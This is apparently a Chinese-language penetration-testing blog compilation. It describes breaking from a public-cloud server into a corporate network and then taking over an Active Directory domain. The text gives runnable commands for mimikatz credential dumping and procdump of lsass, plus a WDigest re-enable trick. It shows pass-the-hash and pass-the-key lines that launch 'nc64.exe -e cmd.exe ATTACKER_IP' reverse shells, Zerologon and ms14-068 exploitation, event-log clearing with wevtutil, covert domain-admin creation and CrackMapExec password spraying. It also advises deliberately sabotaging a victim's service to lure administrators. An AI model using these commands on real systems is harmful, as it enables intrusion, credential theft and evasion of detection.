渗透测试-从公有云到内网漫游RCE-反序列化-frp
0x01 前言
当一个企业把他的业务放到腾讯云或阿里云等公有云的时候,其是与企业的内网是不相通的,
相当于逻辑隔离了(非物理隔离),
如果企业信息安全做的相对较好,不暴露VPN地址或者路由器或防火墙业务,
信息收集的时候,是很难进精准定位到企业的内网使用的公网地址的。
这个时候,想要入侵内网相对困难。
下面就介绍一下我从入侵公有云到渗透进内网进行漫游的实际渗透过程。
0x02 前期打点
怎样入侵拿下云服务器的不是本文重点,故不做详细介绍,只简单介绍思路。
根据公司名字,直接百度发现官网地址。根据官网地址进行了一波信息收集:
1、发现站点使用了CDN,是腾讯云主机,ip是变化的,无法探测真实IP
2、发现存在任意命令执行漏洞。直接RCE,拿下服务器权限。
先看下ip地址
发现显示的是内网地址,这个时候,查看下真实的ip,虽然这个对接下来的内网渗透没什么diao用。
到此才发现是腾讯云,主机不在内网。
0x03 想办法打内网
这个时候,我就要办法获取公司办公网的外网IP了,
这个外网ip要么是防火墙的,要么是路由器的。怎么获取呢?
我想到了一个办法,一般云主机,
运维人员会通过ssh来进行管理,一般在上班时间,他们会连接进来,这个时候,就会获取到公司的真实公网IP。
教大家一个小技巧,如果是小公司,运维可能十天半个月都不会连上来,
这个时候,我们就可以搞点“小破坏”,逼迫运维上线。
比如关闭它的web服务等等,大家千万注意两点:
1.动作不要太大,免得被运维发现被黑,当然你可以提前做权限维持,这里不做介绍。
2. 没有“授权”,千万不要乱搞;没有授权,千万不要乱搞;没有授权,千万不要乱搞,
3. 否则就会进局子吃免费的饭了,咋不能干违法的事,哈哈。
我们看看运维上线没:
[root@VM-0-13-centos~]# netstat -lantp | grep ESTABLISHED
我们重点关注sshd进程,这个前面的公网IP就的运维所在公司的公网IP。
我这里发现了两个。。。
0x04对上面的IP进行渗透
同样繁琐的事情来一波,信息收集。。。
发现了shiro发序列化漏洞,直接反弹shell了
直接进来了:
看一下内网地址:内网地址是10.10.10.187
看看目标机器能否访问外网:
最理想的状态,可以访问外网,接下来就可以开始代理进内网进行渗透了。
0x05 愉快的内网漫游
frp+Proxifier代理搞起来,这里怎样搭建就不详细介绍了,可以自行谷歌。
很简单,最好是socks5代理,并加密,躲一下AV的流量检测;
也最好增加代理的密码,防止“别人”使用。
我这里使用了修改版的frp,利用远程加载配置文件的方式,稍微躲避一下,增加一点点溯源的难度:
代理搭建完,接下来扫一下内网看看:
有经典的MS17-010漏洞,其实还发现了很多其他的漏洞。
就拿最好利用的MS17-010快速开始吧,而且是windows服务器,利用价值大,且拿下后,
用服务器再做一层代理,连RDP可以快速结束战斗,一把梭。
我的msf是公网,利用proxychains代理一下,直接。
开始:
成功(这张图是后来补的,信息可能不一致,但原理一样)
看下权限是system最高权限,省去提权了。
利用mimikatz来抓取密码:
获取到了管理员的密码
发现开了3389直接登录
发现了这个,虚拟机备份,这个可以使用本地认证,有搞头。。。
发现了群辉NAS
发现了3台Vcenter
虚拟机超多呀,粗略看了一下,几百台。。。。全部可以接管了
感谢 黑猫老哥 提供 文章 【再次感谢 】
- 以被攻陷的主机作为跳板,来访问域内其他主机.通过此类攻击手段,最终可能会获得域控制器(DC)的访问权限及重要数据.
windows凭据窃取
Windows的系统密码hash一般由两部分组成:
LM-Hash和NTLM-Hash hash
格式为username:RID:LM-Hash:NTLM-Hash
Mimikatz
Mimikatz 下载地址:https://github.com/gentilkiwi/mimikatz
Mimikatz可以从lsass.exe 进程里获取windows处于active状态账号的明文密码。
privilege::debug //提升权限
sekurlsa::logonpasswords //抓取密码 full
导出SAM表,通过mimikatz来提取
reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM
lsadump::sam /sam:SAM /system:SYSTEM
Procdump
下载地址:https://docs.microsoft.com/zhcn/sysinternals/downloads/procdump
Procdump是微软官方发布的一款调试工具,
可通过Procdump转储内存文件到本地再通过mimikatz来抓取文件中hash,
可躲避杀软查杀 使用Procdump将lsass.exe转储成dmp文件
procdump64.exe -accepteula -ma lsass.exe lsass
使用mimikatz从转储的lsass.dmp中读取明文密码
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"
Get-PassHashes.ps1
下载地址:https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1
Get-PassHashes.ps1是nishang中的一个脚本,可用于导出hash
Import-Module .\Get-PassHashes.ps1
Get-PassHashes
Windows远程连接和相关命令
IPC
IPC(Internet Process Connection)共享命名管道的资源,
是为了时间进程间通信而开放的命名管道,通过提供用户名密码建立一条安全的、加密的、用于数据交换的通道.
通过这个连接,可以在目标机器上执行命令,文件上传/下载等.
在同一时间内,
两个ip之间允许建立一个连接.
利用条件
- 目标机器开放129、445端口
- 目标机器管理员开启了ipc$默认共享
- 知道目标机器账号密码
通过net来建立连接
net use \\[DC-IP]\ipc$ ["password"] /user:[username]
net use \\192.168.10.1\ipc$ "Admin@123" /user:administrator
net use查看连接
通过建立的IPC连接,可便于win7访问2008的文件,进行上传、下载等操作。
IPC连接还可进行本地映射,将DC的C盘映射到本地Z盘
net use z: \\[IP]\c$ [password] /user:[username]
net use z: \\192.168.10.1\c$ "Admin@123" /user:administrator
删除IPC连接
net use \\[IP] /del /y
net use \\192.168.10.1 /del /y
从外网打点到内网横向渗透,最终获取整个内网权限。
三层代理内网穿透,会学习到各种内网穿透技术
cobalt strike在内网中各种横行方法,也会学习到在工具利用失败的情况下,手写exp获取边界突破点进入内网。
渗透中级-漫游内网之横向移动
横向移动 概述
获取 域控制权限
第三方 加载 wmi payload
主机名 \账户名
指定域用户 域名\用户 域名@用户
- 最后 要 用 斜杠 转义
wmi 绕过 AV 创建进程
shell 目标地址 + 凭据
wmi hash套件
查看域内 那些主机 可以用 你的凭据 登录
用百分号 分割
构造 system 权限 的 service
dump 下 哈希 和明文密码
票据
事件 溯源
smb tcp 派生
绕过 远程 UAC 执行操作
票据传递
哈希 操作 win10之后 绕过证书
MSDT
Follina(CVE-2022–30190)
在2022年5月被披露,它是微软Windows支持诊断工具(MSDT)中的一个远程代码执行漏洞
允许远程攻击者在目标系统上执行任意shell命令
俄罗斯政府有关的威胁分子(Sandworm、UAC-0098和APT28)
针对乌克兰的组织和政府机构发起的多次网络钓鱼攻击,旨在用窃取信息的恶意软件感染受害者,
以及针对欧美政府的网络间谍活动。
Follina漏洞还被用来植入远程访问工具,
比如Qbot和AsyncRAT,并在Windows系统上部署后门。
WDigest
是Windows系统中的一个功能,它用于在本地系统上进行身份验证时存储明文密码。当使用基本身份验证或摘要身份验证时,WDigest会捕获用户名和密码,并将它们存储在LSASS进程的内存中。然而,由于WDigest以明文形式存储密码,这增加了密码被泄露的风险,尤其是在存在漏洞或攻击的情况下。因此,从Windows Vista开始,默认情况下WDigest已被禁用,以增强系统的安全性。但在某些情况下,管理员可能出于特定的需求而重新启用它。
windows在XP系统中应用的,
其作用主要是与超文本传输协议(HTTP)和简单的身份验证安全层(SASL)一起交换使用。
而Digest与NTLM协议类似,也是挑战认证协议。
1.客户端向服务端发起认证请求。
2.服务端返回一个随机值、客户端利用内存中的密码与客户端名,域名等信息计算一个值并发送至服务端。
3.服务端也利用相同方式计算一个值如果与客户端相同则认证成功。
在win 7 和 2008 r2 之前都是默认开启Wdigest且无法禁用,需要额外安装KB2871997补丁
(但是WIN7以及08以后的系统中微软都默认禁止了Wdigest协议)。
2008r2 在注册表WDigest中并没有 (UseLogonCredential)所以可以成功抓取到明文密码。
当安装完 KB2871997 补丁后,需要使用以下命令:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0
来修改注册表。修改完毕后重新运行mimikatz就已经无法抓取明文密码了
绕过方法:执行命令,重启即可
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
域控服务器 域渗透
域控服务器是
用语言软件集中管理的器件,能安全集中管理域中账户密码、管理策略等构成数据库,统一安全策略。
同域 域控制器 可以 控制 域下所有主机
网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域
AD认证
NetNTLM authentication
客户端对服务发起认证请求
服务返回一个名字叫做challenge的随机数
客户端拿到challenge,用自己本地的ntml hash加上它生成response发送给服务
服务把刚刚拿到的challenge和response给域控,让域控对比
域控本事存储了所有账户的ntml hash,拿到challenge计算对比一下就能判断认证是不是通过了
服务接受到来自域控的判断来确定要不要通过认证
注意:所描述的过程适用于使用域帐户的情况。如果使用本地帐户,服务器可以验证对质询的响应,而不需要与域控制器交互,因为它在其 SAM 上本地存储了密码哈希。
Pass-the-Hash PTH
作为从我们获得管理权限的主机中提取凭据的结果
(通过使用 mimikatz 或类似工具),
我们可能会获得可以轻松破解的明文密码或哈希值。
然而,不过一般,我们最终会得到未破解的 NTLM 密码哈希值。
虽然看起来我们不能真正使用这些哈希值,但只要知道密码哈希值就可以响应身份验证期间发送的 NTLM 质询。
这意味着我们可以在不需要知道明文密码的情况下进行身份验证。
如果 Windows 域配置为使用 NTLM 身份验证,我们不必破解 NTLM 哈希,
而是可以传递哈希 (PtH) 并成功进行身份验证。
要提取 NTLM 哈希,我们可以使用 mimikatz 读取本地 SAM 或直接从 LSASS 内存中提取哈希。
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 145e02c50333951f71d13c245d352b50
从 LSASS 内存中提取 NTLM 哈希,
此方法将允许您为本地用户和最近登录计算机的任何域用户提取任何 NTLM 哈希。
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::msv
Authentication Id : 0 ; 308124 (00000000:0004b39c)
Session : RemoteInteractive from 2
User Name : bob.jenkins
Domain : ZA
Logon Server : THMDC
Logon Time : 2022/04/22 09:55:02
SID : S-1-5-21-3330634377-1326264276-632209373-4605
msv :
[00000003] Primary
* Username : bob.jenkins
* Domain : ZA
* NTLM : 6b4a57f67805a663c818106dc0648484
然后,我们可以使用提取的哈希值执行 PTH 攻击,
方法是使用 mimikatz 在反向 shell(或是任何其他命令)上为受害者用户注入访问令牌,如下所示:
mimikatz # token::revert
mimikatz # sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555"
psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP
proxychains4 -q
第一步,客户端发送由用户hash和时间生成的timestamp和username发送给KDC去申请TGT
第二步,KDC利用 krbtgt 帐户加密TGT,TGT内部包含一个东西叫做Session Key,等会认证会用到
第三步,客户端拿到TGT和要访问服务的SPN去请求KDC申请TGS
第四步,KDC认证通过后会拿着服务的hash去加密TGS,把携带svc session key一起给客户端
第五步,用TGS和向SRV发起认证请求,解密成功就通过认证。
Pass-the-Ticket
可以使用 mimikatz 从 LSASS 内存中提取
Kerberos 票证和会话密钥。
该过程通常需要我们在被攻击机器上具有 SYSTEM 权限,可以按如下方式完成:
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
虽然 mimikatz 可以从 LSASS 进程的内存中提取任何可用的 TGT 或 TGS,
但大多数时候,我们会对 TGT 感兴趣,因为它们可用于请求访问允许用户访问的任何服务。
同时,TGS 仅适用于特定服务。
提取 TGT 需要我们拥有管理员凭据,
提取 TGS 可以使用低权限帐户(仅分配给该帐户的帐户)来完成。
一旦我们提取了所需的票证,我们就可以使用以下命令将票证注入当前会话
mimikatz # kerberos::ptt [0;427fcd5]-2-0-40e10000-Administrator@krbtgt-ZA.TRYHACKME.COM.kirbi
在我们自己的会话中注入票证不需要管理员权限。
在此之后,门票将可用于我们用于横向移动的任何工具。
要检查票证是否已正确注入,您可以使用 klist 命令:
za\bob.jenkins@THMJMP2 C:\> klist
Current LogonId is 0:0x1e43562
Cached Tickets: (1)
#0> Client: Administrator @ ZA.TRYHACKME.COM
Server: krbtgt/ZA.TRYHACKME.COM @ ZA.TRYHACKME.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 4/12/2022 0:28:35 (local)
End Time: 4/12/2022 10:28:35 (local)
Renew Time: 4/23/2022 0:28:35 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x1 -> PRIMARY
Kdc Called: THMDC.za.tryhackme.com
Overpass-the-hash / Pass-the-Key/OPtH
这种攻击类似于 PtH,但适用于 Kerberos 网络。
当用户请求 TGT 时,他们会发送一个使用从其密码派生的加密密钥加密的时间戳。
用于派生此密钥的算法可以是 DES(在当前 Windows 版本中默认禁用)、RC4、AES128 或 AES256,
具体取决于安装的 Windows 版本和 Kerberos 配置。
如果我们有这些密钥中的任何一个,我们就可以向 KDC 索要 TGT 而无需实际密码,因此称为密钥传递 (PtK)
mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
请注意,使用 RC4 时,密钥将等于用户的 NTLM 哈希。
这意味着如果我们可以提取 NTLM 哈希,
只要 RC4 是启用的协议之一,我们就可以使用它来请求 TGT。
这种特殊的变体通常被称为 Overpass-the-Hash (OPtH)。
获取域环境内用户登录信息
域内用户在域内的机器ip怎么查
adfind
管理员会设置域用户只可以登录指定的的域内计算机,使用 adfind或者 powerview导出域用户信息可以查看;
查看域内用户详细信息:
adfind.exe -h DNS_SERVER_IP -sc u:rcoil(目标用户)
adfind.exe -h DNS_SERVER_IP -sc u:rcoil | findstr userWorkstations //非域权限执行需要指定账户密码
查看域内所有用户详细信息:
AdFind.exe -h DNS_SERVER_IP -sc u:*
详见:http://www.joeware.net/freetools/tools/adfind/usage.htm
powerview在域内执行就可以
Get-NetUser -Domain demo.rcoil.me //domain参数请加完整的域名
或
Invoke-EnumerateLocalAdmin
查看域内机器的用户目录文件夹
确定开机状态的计算机列表-建立连接-查看用户目录-断开连接,可以参考如下批处理:
for /f "delims=" %%i in (live.txt) DO (
net use \\%%i\C$ password /u:domain\domain_admins_user
if not errorlevel 1 (
for /f "delims=" %%j in ('dir /od /b \\%%i\C$\users\') do (
echo %%i:%%j>> test.log
)
net use \\%%i\C$ /del
)
)
域管不用建立连接就可以访问域内计算机资源,因此以域管权限运行时可以参考如下批处理:
for /f "delims=" %%i in (live.txt) DO (
for /f "delims=" %%j in ('dir /od /b \\%%i\C$\users\') do (
echo %%i:%%j>> test.log
)
)
代码补充:NetWorkConnectIPC
域控日志
wevtutil
为Windows 事件命令行实用程序,
其导出的日志为evtx格式(即Windows日志本身的存储格式),
可以使用Windows事件查看器分析,Crtl+F查找,
或者不使用epl
参数,直接重定向输出即可。
wevtutil
常用的场景是清理日志。
wevtutil cl application
wevtutil cl security
wevtutil cl system
wevtutil cl "windows powershell"
而它也可作为筛选分析日志的工具。这里需要注意的几个ID分别为:4624(用户登陆成功)、4768、4776(用户账号验证成功)
使用wevtutil
结合python
-
wevtutil
wevtutil qe security /q:"Event[System[(EventID=4624 or EventID=4768 or EventID=4776)]]" /f:text /rd:true /c:1 > EvtLogon.dat
-
参数说明
qe: 从日志或日志文件中查询事件;(默认xml格式显示) Security: 指定安全事件的日志; /q: 筛选规则,可以打开Windows事件查看器的筛选器配置筛选条件后转至XML复制筛选规则; /f: 以text格式显示 /rd: 指定读取事件的方向 /c: 指定个数 该命令其它参数参考wevtutil /?
-
python
# -- coding:utf-8 -- # Python v2.7.10 import sys import csv evt = 'EvtLogon.dat' fevt = open(evt,'r') try: # For Eliminate redundancies lastdate = 'lastdate' lasttask = 'lasttask' # 因为windows下的换行符问题,导致写的文件会有空行,使用二进制模式打开 with open('LogonStat.csv', 'wb') as csvfile: csv_write = csv.writer(csvfile) csv_write.writerow(["Task", "Date", "Account Name", "Account Domain", "Logon Address"]) for eachline in fevt: if eachline.find('Event[') > -1: task = '' date = '' accname = '' logontype = '' logonaddr = '' skip = 0 elif eachline.find('Date:') > -1: date = eachline[(eachline.find(':')+1):].strip() elif eachline.find('Task:') > -1: task = eachline.split(':')[1].strip() if (date == lastdate) and (task == lasttask): ## reduce skip = 1 else: lastdate = date lasttask = task elif eachline.find('Account Name:') > -1: accname = eachline.split(':')[1].strip() if (task == 'Logon') and (accname.find('$') > -1): ## reduce skip = 1 elif eachline.find('Account Domain:') > -1: accdomain = eachline.split(':')[1].strip() elif eachline.find('Source Network Address:') > -1: logonaddr = eachline[(eachline.find(':')+1):].strip() if logonaddr == '-': skip = 1 if (skip == 0) and (task == 'Logon'): LogonStat = [[task, date, accname, accdomain, logonaddr]] csv_write.writerows(LogonStat) except Exception as e: # pass print 'Error: %s' % e sys.exit(1) fevt.close() csvfile.close()
PS: 筛选条件还有很多,都可以组合利用,从而筛选出自己所需要的信息。
wevtutil qe Security /q:"*[EventData[Data[@Name='LogonType']='10'] and EventData[Data[@Name='TargetUserName']='RcoIl'] and System[(EventID=4624) and TimeCreated[timediff(@SystemTime) <= 2592000000]]]"
wevtutil qe Security /q:"*[System[(Keywords='0x8020000000000000')] and EventData[Data[@Name='SubjectUserName']='RcoIl']]" /f:text /rd:true /c:2
DNS解析记录
dnscmd 127.0.0.1 /enumrecords demo.rcoil.me demo.rcoil.me. /type A //利用dnscmd导出dns正向解析记录
dnscmd 127.0.0.1 /zoneprint demo.rcoil.me >1.txt
C# .NET
编写的工具 SharpADDNSDump
Exchange 日志
Outlook Web Application
owa
默认的登陆日志位置如下:
C:\inetpub\logs\LogFiles\W3SVC1(W3SVC2)
日志是根据时间(天)¬为单位进行分割的,比如 u_ex190426
就表示 19 年 4 月 26 号
那一天的日志。
在实战中,可根据自己的实际需求,把指定时间段内的日志想办法拖回来即可。
部分内容如下:
2019-04-26 06:49:51 192.10.20.200 POST /owa/auth.owa &CorrelationID=<empty>;&ClientId=KFTFMZBXS0ATOXTCCJLOQ&cafeReqId=c3db90a9-02e3-4fd0-8633-05fb7799f4fd; 443 rcoil.me\pentest 192.10.20.104 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/73.0.3683.103+Safari/537.36 https://exchange/owa/auth/logon.aspx?replaceCurrent=1&url=https%3a%2f%2fsiteproxy.ruqli.workers.dev%3a443%2fhttps%2fexchange%2fowa 302 0 0 31
此时我们需要的内容单单为:rcoil.me\pentest 192.10.20.104,其他数据可不理会。
Outlook
客户端日志
Outlook
客户端登陆的默认日志文件如下:
C:\Program Files\Microsoft\Exchange Server\V14\Logging\RPC Client Access
【参考】
wevtutil筛选windows日志查询结果
[Tools]获取域环境内所有用户登录信息(附源码及程序)
域内用户在域内的机器ip怎么查呢?
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd337721(v%3dws.10)
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc732848(v=ws.11)
查看域内组织结构
dsquery ou
渗透攻击红队组织下面有一个财务部,这里我们建立一个域管用户去看一下这个技术部下面有什么
net user /add asptest 123!@#qw /domain
net group "Domain Admins" asptest /add /domain
创建了一个asptest用户,登进去:
财务部下面有两个用户,
而我们的目标是获取liyuan这个用户的一些有价值的信息,那么就要先确定liyuan登陆过哪些机器:
https://rcoil.me/2018/11/%E3%80%90%E5%9F%9F%E6%B8%97%E9%80%8F%E3%80%91%E8%8E%B7%E5%8F%96%E5%9F%9F%E7%8E%AF%E5%A2%83%E5%86%85%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E4%BF%A1%E6%81%AF/
wevtutil qe security /q:"Event[System[(EventID=4624 or EventID=4768 or EventID=4776)]]" /f:text /rd:true /c:100 > EvtLogon.dat
会生成一个EvtLogon.dat文件
利用上面文章中的python脚本:
python2 EvtLogon.py EvtLogon.dat
会生成一个csv文件
定位域内个人PC,最常用的方法就是利用wevtutil导出事件日志配合脚本进行破解。
推荐几篇比较好的文章以及工具:
https://timeshu.github.io/2020/02/08/%E5%9F%9F%E7%AE%A1%E7%90%86%E5%91%98%E5%AE%9A%E4%BD%8D%E5%B7%A5%E5%85%B7/
https://rcoil.me/2018/11/%E3%80%90%E5%9F%9F%E6%B8%97%E9%80%8F%E3%80%91%E8%8E%B7%E5%8F%96%E5%9F%9F%E7%8E%AF%E5%A2%83%E5%86%85%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E4%BF%A1%E6%81%AF/
https://github.com/lele8/SharpUserIP
域内热门漏洞
Zerologon – CVE-2020-1472 – 一分钟利用算法置空域控机器账户密码导出全部hash
PrintNightmare – CVE-2021-1675 / CVE-2021-34527 通杀RCE打下域控,偶尔失灵
ms14-068 – 缺少对服务票据中用户SID的正确导致域沦陷
exchange相关的漏洞,exchange具备DCSync权限同步,几乎年年爆,大佬挖漏洞挖的比我学的还快
NoPAC – 一个普通域账号接管域,通杀全版本windows
ADCS – CVE-2022-26923 冒充域控机器账户实现权限提升
域环境root.redteam.lab
本地管理员权限
net group "Domain Controllers" /domain 查询域控制器
要提升到system权限
ping域控得到地址
shell ping ROOT-AD -n 2
上线子域控:
抓取密码: 获取到了域内的一个用户密码
ms14-068
查询 用户ISID
wmic useraccount get /all
制作票据
proxvchains.py python ms14-068.py -u Xiaowango@root.redteam.lab --rc4 xxxxs
票据注入
beacon> mimikatz kerberos::ptc TGT_xiaowang@root.redteam.lab.ccache
票据注入之后就能直接上线域控了。
dump子域密码
beacon> mimikatz lsadump::dcsync /domain:root.redteam.lab /all /csv
上线父域
查询域信任
其实在一步查域的时候就要意识到可能存在多个域
枚举域信任
nltest /domain_trusts
这0是父域,1是子域
得到另一个域的地址
将流量代理出来,利用fscan扫描
./fscan_amd64 -socks5 x.x.x.x -h 10.0.0.8
得到这个父域的主机名是owa
cve2020-1472
mimikatz检查漏洞
也能拿到父域控
mimikatz lsadump::zerologon /target:10.0.0.8 /account:owa$
这里是存在漏洞的
将密码置为空
mimikatz lsadump::zerologon /target:10.0.0.8 /account:owa$ /exploit
利用脚本获取到域管密码:
proxychains python3 secretsdump.py -no-pass -just-dc "redteam.lab/owa\$"@10.0.0.8
利用hash上线域管
还原域控密码
dump父域密码
两个域控拿下
CrackMapExec
CrackMapExec CME
- kali自带工具:crackmapexec
https://github.com/byt3bl33d3r/CrackMapExec
一款后渗透 内网域渗透的 利用工具
对域进行信息收集或者一些常见域漏洞的探测。
CrackMapExec提供了域环境(活动目录)渗透测试中一站式便携工具,
它具有列举登录用户、通过SMB(Server Message Block)网络文件共享协议爬虫列出SMB分享列表, 执行类似于Psexec的攻击
帮助自动化大型活动目录(AD)网络安全评估任务。
其缔造者@byt3bl33d3r称,该工具的生存概念是, 利用AD内置功能/协议达成其功能
smb 协议常用枚举功能
crackmapexec smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --groups 枚举域组
crackmapexec smb 192.168.1.0/24 --gen-relay-list relaylistOutputFilename.txt 枚举不需要smb签名的主机
crackmapexec smb <ip> -u user -p pass -M enum_av 枚举主机上的杀软
crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --shares 列出共享
crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --sessions 枚举有效sessions
crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --disks 列出磁盘
crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --loggedon-users 枚举登录用户
crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --users 枚举域用户
crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --rid-brute 通过口令爆破RID枚举用户
crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --pass-pol 获取域密码策略
crackmapexec smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --local-auth 验证本地用户,并且测试登录
获取凭证 dump hash
获取到高权限的用户可以使用–sam ,–lsa dump hash
crackmapexec wimri 192.168.216.144 -u 'administrator' -p 'pass1234!' --sam/--lsa
导出域ntds
crackmapexec smb 192.168.216.144 -u 'administrator' -p 'pass1234!' --ntds
密码喷洒
使用crackmapexec爆破SMB 的用户和密码。
crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#'
crackmapexec smb 192.168.1.101 -u user1 user2 user3 -p Summer18 多个用户,一个密码进行喷晒
crackmapexec smb 192.168.1.101 -u /path/to/users.txt -p Summer18 使用users.txt 用户列表文件指定多用户喷晒
crackmapexec smb 192.168.1.101 -u Administrator -p /path/to/passwords.txt 爆破administrator用户密码
文件上传下载
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt 上传文件
crackmapexec smb 172.16.251.152 -u user -p pass --get-file \\Windows\\Temp\\whoami.txt /tmp/whoami.txt 下载文件
检测主机上是否运行spooler、 webdav 服务
crackmapexec smb <ip> -u 'user' -p 'pass' -M spooler 查看打印机服务
crackmapexec smb <ip> -u 'user' -p 'pass' -M webdav 查看webdav服务
枚举域用户
cme ldap 192.168.1.0/24 -u users.txt -p '' -k
ASREPRoast
没有已知域用户密码的情况下:
cme ldap 192.168.0.104 -u user.txt -p '' --asreproast output.txt
在拥有域内用户权限的情况下
cme ldap 192.168.0.104 -u harry -p pass --asreproast output.txt
查找非约束委派账户
cme ldap 192.168.0.104 -u harry -p pass --trusted-for-delegation
检测ESC8(adcs)漏洞利用 查看adcs服务器
crackmapexec run ldap <ip> -u user -p pass -M adcs
通过活动目录收集子网段信息
crackmapexec ldap <ip> -u <user> -p <pass> -M get-network
crackmapexec ldap <ip> -u <user> -p <pass> -M get-network -o ONLY_HOSTS=true
crackmapexec ldap <ip> -u <user> -p <pass> -M get-network -o ALL=true
查看具有DCsync权限用户
crackmapexec ldap lab-dc.lab.local -k --kdcHost lab-dc.lab.local -M daclread -o TARGET_DN="DC=lab,DC=LOCAL" ACTION=read RIGHTS=DCSync
收集bloodhound 信息
crackmapexec ldap <ip> -u user -p pass --bloodhound --ns ip --collection All
通过RDP协议屏幕截图
crackmapexec rdp <ip> -u <user> -p <password> --screenshot --screentime
扫描zerologo、petitpotam、nopac漏洞
crackmapexec smb <ip> -u '' -p '' -M zerologo
crackmapexec smb <ip> -u '' -p '' -M petitpotam
crackmapexec smb <ip> -u 'user' -p 'pass' -M nopac
Kerberos认证协议安全性分析
抓取域管理员密码
详解kerberoast攻击
详解Responder利用方式
SMBv2 哈希中继
NTML认证与PTH攻击
PTT
MS14-068原理以及利用
域用户账号的字典
AS-REP Roasting预身份认证
域内密码喷洒
基于资源的约束委派攻击
CVE-2022–26923
微软活动目录域环境攻击与防御
外企,基本都会使用活动目录域环境来管理用户对象,计算机对象,打印机对象以及一些网络设备。通过使用活动目录,管理员能够中心化、批量地更新和管理操作系统、应用、用户以及对数据的访问,而用户和管理员也能很容易地获取这些信息。
因为活动目录配置和管理的复杂性,在使用过程往往会引入一些安全相关的误配置或者漏洞。而且因为活动目录具备中心化的管理能力,攻击者一旦获得域管理员权限,即可控制域内所有用户和主机,因此活动目录域环境也备受攻击者青睐。
活动目录域环境的安全在企业安全建设的中至关重要,
常见的错误配置及漏洞的原理,以及具体的攻击利用方式。同时也会从防御者的角度介绍如何检测和防御针对活动目录的攻击技术,以及如何对活动目录进行安全加固。
活动目录域环境常见服务的安装以及配置,比如域控,子域,活动目录证书服务,LAPS,MSSQL以及Exchange等的安装和配置,同时也会介绍如何引入误配置或者漏洞。
从攻击者的角度,你将学会活动目录域环境的枚举,如BloodHound,PingCastle,AD Explorer,手工枚举等;权限提升,如Kerberoast,活动目录权限滥用,Kerberos 委派滥用,LAPS滥用,MSSQL利用,常见提权漏洞利用(printNightmare,NoPAC...等);横向移动,
如凭据提取/窃取,Pass the Hash,gMSA利用,Pass the Ticket等;权限维持Golden Ticket,Sliver Ticket,DCSync,Skeleton Key,DSRM利用等技术。此外,你也会学到跨森林攻击相关的技术以及常用攻击工具的免杀。
从防御者的角度,你将学会如何检测和防御针对活动目录相关的攻击技术,比如活动目录的安全审计及日志分析,MDI和MDE的安装配置,HoneyToken,Applocker,WDAC,Credential guard等配置。
Active Directory介绍
第一部分会介绍域环境的相关概念,以及域控安装,将主机加入域,帐户和组的管理,组策略基础等。
涉及的知识点包括:
活动目录架构
活动目录基本概念
域服务安装
将主机加入域
用户和组
组策略基础
Windows共享
02
Active Directory枚举
第二部分主要介绍在活动目录环境下,手动的信息收集和枚举,对于一些自动化工具,比如BloodHound等,会简单介绍下安装和使用方法。
涉及的知识点包括:
常用工具介绍
BloodHound
PingCastle
AD explorer
Bypass AMSI
枚举基本信息
枚举GPO
枚举OU
枚举ACL
枚举信任
枚举森林
User Hungting
Share Hungting
03
